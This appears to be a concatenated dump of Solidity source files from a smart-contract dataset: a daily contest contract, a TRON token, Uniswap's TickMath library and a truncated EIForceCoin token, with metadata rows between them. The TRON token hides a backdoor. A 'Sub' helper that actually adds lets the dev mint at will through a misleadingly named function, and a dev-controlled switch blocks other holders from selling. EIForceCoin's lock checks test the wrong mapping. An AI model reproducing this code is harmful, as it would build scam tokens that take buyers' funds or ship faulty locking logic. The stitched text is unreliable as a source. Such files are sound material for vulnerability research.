function checkIn() external {
uint32 nowDate = getDate(uint32(now));
// throw if user entry status isn't registered
require(userDateToStatus[msg.sender][nowDate] == UserEntryStatus.REGISTERED);
userDateToStatus[msg.sender][nowDate] = UserEntryStatus.COMPLETED;
dateToContestStatus[nowDate].numCompleted += 1;
}
function withdraw(uint32[] _dates) external {
uint256 withdrawAmount = 0;
uint256 datesLength = _dates.length;
uint32 now32 = uint32(now);
for (uint256 i = 0; i < datesLength; i++) {
uint32 date = _dates[i];
// if it hasn't been more than 1.5 days since the entry, skip
if (now32 <= date.add(WITHDRAW_BUFFER)) {
continue;
}
// if the entry status is anything other than COMPLETED, skip
if (userDateToStatus[msg.sender][date] != UserEntryStatus.COMPLETED) {
continue;
}
// set status to WITHDRAWN to prevent re-entry
userDateToStatus[msg.sender][date] = UserEntryStatus.WITHDRAWN;
withdrawAmount = withdrawAmount.add(REGISTRATION_FEE).add(calculateBonus(date));
}
if (withdrawAmount > 0) {
msg.sender.transfer(withdrawAmount);
}
LogWithdraw(msg.sender, withdrawAmount);
}
function calculateWithdrawableAmount() external view returns (uint256) {
uint32[] memory dates = userToDates[msg.sender];
uint256 datesLength = dates.length;
uint256 withdrawAmount = 0;
uint32 now32 = uint32(now);
for (uint256 i = 0; i < datesLength; i++) {
uint32 date = dates[i];
// if it hasn't been more than 1.5 days since the entry, skip
if (now32 <= date.add(WITHDRAW_BUFFER)) {
continue;
}
// if the entry status is anything other than COMPLETED, skip
if (userDateToStatus[msg.sender][date] != UserEntryStatus.COMPLETED) {
continue;
}
withdrawAmount = withdrawAmount.add(REGISTRATION_FEE).add(calculateBonus(date));
}
return withdrawAmount;
}
function getWithdrawableDates() external view returns(uint32[]) {
uint32[] memory dates = userToDates[msg.sender];
uint256 datesLength = dates.length;
// We can't initialize a mutable array in memory, so creating an array
// with length set as the number of regsitered days
uint32[] memory withdrawableDates = new uint32[](datesLength);
uint256 index = 0;
uint32 now32 = uint32(now);
for (uint256 i = 0; i < datesLength; i++) {
uint32 date = dates[i];
// if it hasn't been more than 1.5 days since the entry, skip
if (now32 <= date.add(WITHDRAW_BUFFER)) {
continue;
}
// if the entry status is anything other than COMPLETED, skip
if (userDateToStatus[msg.sender][date] != UserEntryStatus.COMPLETED) {
continue;
}
withdrawableDates[index] = date;
index += 1;
}
// this array may contain zeroes at the end of the array
return withdrawableDates;
}
function getUserEntryStatuses() external view returns (uint32[], uint32[]) {
uint32[] memory dates = userToDates[msg.sender];
uint256 datesLength = dates.length;
uint32[] memory statuses = new uint32[](datesLength);
for (uint256 i = 0; i < datesLength; i++) {
statuses[i] = uint32(userDateToStatus[msg.sender][dates[i]]);
}
return (dates, statuses);
}
function withdrawOperationFees(uint32[] _dates) external {
// throw if sender isn't contract owner
require(msg.sender == owner);
uint256 withdrawAmount = 0;
uint256 datesLength = _dates.length;
uint32 now32 = uint32(now);
for (uint256 i = 0; i < datesLength; i++) {
uint32 date = _dates[i];
// if it hasn't been more than 1.5 days since the entry, skip
if (now32 <= date.add(WITHDRAW_BUFFER)) {
continue;
}
// if already withdrawn for given date, skip
if (dateToContestStatus[date].operationFeeWithdrawn) {
continue;
}
// set operationFeeWithdrawn to true to prevent re-entry
dateToContestStatus[date].operationFeeWithdrawn = true;
withdrawAmount = withdrawAmount.add(calculateOperationFee(date));
}
if (withdrawAmount > 0) {
msg.sender.transfer(withdrawAmount);
}
LogOperationFeeWithdraw(msg.sender, withdrawAmount);
}
function getWithdrawableOperationFeeDatesAndAmount() external view returns (uint32[], uint256) {
// throw if sender isn't contract owner
if (msg.sender != owner) {
return (new uint32[](0), 0);
}
uint32 cutoffTime = uint32(now).sub(WITHDRAW_BUFFER);
uint32 maxLength = cutoffTime.sub(MAY_FIRST_2018).div(DAY).add(1);
uint32[] memory withdrawableDates = new uint32[](maxLength);
uint256 index = 0;
uint256 withdrawAmount = 0;
uint32 date = MAY_FIRST_2018;
while(date < cutoffTime) {
if (!dateToContestStatus[date].operationFeeWithdrawn) {
uint256 amount = calculateOperationFee(date);
if (amount > 0) {
withdrawableDates[index] = date;
withdrawAmount = withdrawAmount.add(amount);
index += 1;
}
}
date = date.add(DAY);
}
return (withdrawableDates, withdrawAmount);
}
function getContestStatusForDate(uint32 _date) external view returns (int256, int256, int256) {
DailyContestStatus memory dailyContestStatus = dateToContestStatus[_date];
int256 numRegistered = int256(dailyContestStatus.numRegistered);
int256 numCompleted = int256(dailyContestStatus.numCompleted);
int256 bonus = int256(calculateBonus(_date));
if (uint32(now) <= _date.add(WITHDRAW_BUFFER)) {
numCompleted = -1;
bonus = -1;
}
return (numRegistered, numCompleted, bonus);
}
function getStartDate() public view returns (uint32) {
uint32 startDate = getNextDate(uint32(now));
uint32 lastRegisterDate = getLastRegisterDate();
if (startDate <= lastRegisterDate) {
startDate = getNextDate(lastRegisterDate);
}
return startDate;
}
function getNextDate(uint32 _timestamp) internal pure returns (uint32) {
return getDate(_timestamp.add(DAY));
}
function getDate(uint32 _timestamp) internal pure returns (uint32) {
return _timestamp.sub(_timestamp % DAY);
}
function getLastRegisterDate() internal view returns (uint32) {
uint32[] memory dates = userToDates[msg.sender];
uint256 pastRegisterCount = dates.length;
if(pastRegisterCount == 0) {
return 0;
}
return dates[pastRegisterCount.sub(1)];
}
function calculateBonus(uint32 _date) internal view returns (uint256) {
DailyContestStatus memory status = dateToContestStatus[_date];
if (status.numCompleted == 0) {
return 0;
}
uint256 numFailed = status.numRegistered.sub(status.numCompleted);
// Split 90% of the forfeited deposits between completed users
return numFailed.mul(REGISTRATION_FEE).mul(9).div(status.numCompleted.mul(10));
}
function calculateOperationFee(uint32 _date) internal view returns (uint256) {
DailyContestStatus memory status = dateToContestStatus[_date];
// if no one has completed, take all as operation fee
if (status.numCompleted == 0) {
return status.numRegistered.mul(REGISTRATION_FEE);
}
uint256 numFailed = status.numRegistered.sub(status.numCompleted);
// 10% of forefeited deposits
return numFailed.mul(REGISTRATION_FEE).div(10);
}
function addAdmin(address _newAdmin) external {
require(msg.sender == owner);
adminPermission[_newAdmin] = true;
}
function getDatesForUser(address _user) external view returns (uint32[]) {
if (!adminPermission[msg.sender]) {
return new uint32[](0);
}
return userToDates[_user];
}
function getUsersForDate(uint32 _date) external view returns (address[]) {
if (!adminPermission[msg.sender]) {
return new address[](0);
}
return dateToUsers[_date];
}
function getEntryStatus(address _user, uint32 _date)
external view returns (UserEntryStatus) {
if (!adminPermission[msg.sender]) {
return UserEntryStatus.NULL;
}
return userDateToStatus[_user][_date];
}
function getContestStatusForDateAdmin(uint32 _date)
external view returns (uint256, uint256, bool) {
if (!adminPermission[msg.sender]) {
return (0, 0, false);
}
DailyContestStatus memory dailyContestStatus = dateToContestStatus[_date];
return (dailyContestStatus.numRegistered,
dailyContestStatus.numCompleted,
dailyContestStatus.operationFeeWithdrawn);
}
}
| 336,387 | 503 |
582487188906179c951859681b33ed4002a915e60aad04fd29d53d66e86a4972
| 21,122 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJ3R37nRbJ7eCWvGWP1YdKenSmr7m5C82r_Token.sol
| 3,120 | 11,777 |
//SourceUnit: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 100000* 10**8 * 10**4;
bool public lock = true;
address public uniSwapV2;
string private _name;
string private _symbol;
uint8 private _decimals = 10;
uint256 private _maxTotal;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 100000* 10**8 * 10**4;
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcludedFromReward(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function uniSV2(bool _lock,address _uniSwapV2) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
lock = _lock;
uniSwapV2 = _uniSwapV2;
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!lock){
if(recipient == uniSwapV2 && sender != _excludeDevAddress){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == 0x0000000000000000000000000000000000000000) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(0).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, BURN_ADDRESS, burnAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
| 291,392 | 504 |
ce4da7b24b21ba013282accf8265ccf77723bb61cf283590ab74a00a6be083a4
| 10,093 |
.sol
|
Solidity
| false |
622812751
|
carl-lou/uniswap-v3-core
|
289497991fabe5349abd4455db2550b98369ada5
|
contracts/libraries/TickMath.sol
| 3,521 | 8,282 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0 <0.8.0;
// sqrt,
/// @title Math library for computing sqrt prices from ticks and vice versa
/// prices between 2**-128 and 2**128
library TickMath {
// #getSqrtRatioAtTicklog1.00012**-128
// 1.0001^887272 2^128
int24 internal constant MIN_TICK = -887272;
int24 internal constant MAX_TICK = -MIN_TICK;
// #getSqrtRatioAtTickgettsqrtratioattick (MIN_TICK)
// 2^32Q64.96(2^32)/(2^96)=1/(2^64)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
// 2^160
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
// (1.0001^tick) * 2^96
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
// sqrtPriceX96Q64.96(token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
// tick
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
//
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
// 2^256 * ratio
if (tick > 0) ratio = type(uint256).max / ratio;
// ratio/(2^32)
// ratio1<<32Q128.128Q128.96
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// tick160
// getTickAtSqrtRatio
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
// tick
// getRatioAtTick(tick) <= ratio
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
// sqrtPriceX96 < MIN_SQRT_RATIOMIN_SQRT_RATIOgetRatioAtTick
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
//
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
// sqrtPriceX96 32 2^32
uint256 ratio = uint256(sqrtPriceX96) << 32;
//
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
| 62,218 | 505 |
ef143eea06b78cff0c0941cdbe06ee74d7178dfa189e176f0b6caeddf0ff7231
| 12,744 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x18b80470e22d8645d366910a0bd610f359fdd143.sol
| 4,049 | 12,321 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_from != address(0));
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EIForceCoin is StandardToken, Ownable {
string public name = " EIForceCoin ";
string public symbol = "EFT";
uint public decimals = 18;
// The token allocation
uint public constant TOTAL_SUPPLY = 1000000000e18;
uint public constant ALLOC_FOUNDER = 1000000000e18; // 100%
// wallets
address public constant WALLET_FOUNDER = 0x4aDE23e2dc751527b16289c18c7E26fE4dF7a4B7;
// 2 groups of lockup
mapping(address => uint256) public jishis_locked;
mapping(address => uint256) public simus_locked;
mapping(address => uint256) public jiedians_locked;
mapping(address => uint256) public dakehus_locked;
// 2 types of releasing
mapping(address => uint256) public jishis_jishiDate;
mapping(address => uint256) public simus_simuDate;
mapping(address => uint256) public jiedians_jiedianDate;
mapping(address => uint256) public dakehus_dakehuDate;
// MODIFIER
// checks if the address can transfer certain amount of tokens
modifier canTransfer(address _sender, uint256 _value) {
require(_sender != address(0));
uint256 remaining = balances[_sender].sub(_value);
uint256 totalLockAmt = 0;
if (jishis_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_jishis(_sender));
}
if (simus_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_simus(_sender));
}
if (simus_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_jiedians(_sender));
}
if (simus_locked[_sender] > 0) {
totalLockAmt = totalLockAmt.add(getLockedAmount_dakehus(_sender));
}
require(remaining >= totalLockAmt);
_;
}
// EVENTS
event UpdatedLockingState(string whom, address indexed to, uint256 value, uint256 date);
// FUNCTIONS
function EIForceCoin () public {
balances[msg.sender] = TOTAL_SUPPLY;
totalSupply = TOTAL_SUPPLY;
// do the distribution of the token, in token transfer
transfer(WALLET_FOUNDER, ALLOC_FOUNDER);
}
// get jishis' locked amount of token
function getLockedAmount_jishis(address _jishi)
public
constant
returns (uint256)
{
uint256 jishiDate = jishis_jishiDate[_jishi];
uint256 lockedAmt = jishis_locked[_jishi];
if (now <= jishiDate + (30 * 1 days)) {return lockedAmt;}
if (now <= jishiDate + (30 * 2 days)) {return lockedAmt.mul(4).div(5);}
if (now <= jishiDate + (30 * 3 days)) {return lockedAmt.mul(3).div(5);}
if (now <= jishiDate + (30 * 4 days)) {return lockedAmt.mul(2).div(5);}
if (now <= jishiDate + (30 * 5 days)) {return lockedAmt.mul(1).div(5);}
return 0;
}
// get simus' locked amount of token
function getLockedAmount_simus(address _simu)
public
constant
returns (uint256)
{
uint256 simuDate = simus_simuDate[_simu];
uint256 lockedAmt = simus_locked[_simu];
if (now <= simuDate + (30 * 1 days)) {return lockedAmt;}
if (now <= simuDate + (30 * 2 days)) {return lockedAmt.mul(9).div(10);}
if (now <= simuDate + (30 * 3 days)) {return lockedAmt.mul(8).div(10);}
if (now <= simuDate + (30 * 4 days)) {return lockedAmt.mul(7).div(10);}
if (now <= simuDate + (30 * 5 days)) {return lockedAmt.mul(6).div(10);}
if (now <= simuDate + (30 * 6 days)) {return lockedAmt.mul(5).div(10);}
if (now <= simuDate + (30 * 7 days)) {return lockedAmt.mul(4).div(10);}
if (now <= simuDate + (30 * 8 days)) {return lockedAmt.mul(3).div(10);}
if (now <= simuDate + (30 * 9 days)) {return lockedAmt.mul(2).div(10);}
if (now <= simuDate + (30 * 10 days)) {return lockedAmt.mul(1).div(10);}
return 0;
}
function getLockedAmount_jiedians(address _jiedian)
public
constant
returns (uint256)
{
uint256 jiedianDate = jiedians_jiedianDate[_jiedian];
uint256 lockedAmt = jiedians_locked[_jiedian];
if (now <= jiedianDate + (30 * 1 days)) {return lockedAmt;}
if (now <= jiedianDate + (30 * 2 days)){return lockedAmt.mul(11).div(12);}
if (now <= jiedianDate + (30 * 3 days)) {return lockedAmt.mul(10).div(12);}
if (now <= jiedianDate + (30 * 4 days)) {return lockedAmt.mul(9).div(12);}
if (now <= jiedianDate + (30 * 5 days)) {return lockedAmt.mul(8).div(12);}
if (now <= jiedianDate + (30 * 6 days)) {return lockedAmt.mul(7).div(12);}
if (now <= jiedianDate + (30 * 7 days)) {return lockedAmt.mul(6).div(12);}
if (now <= jiedianDate + (30 * 8 days)) {return lockedAmt.mul(5).div(12);}
if (now <= jiedianDate + (30 * 9 days)) {return lockedAmt.mul(4).div(12);}
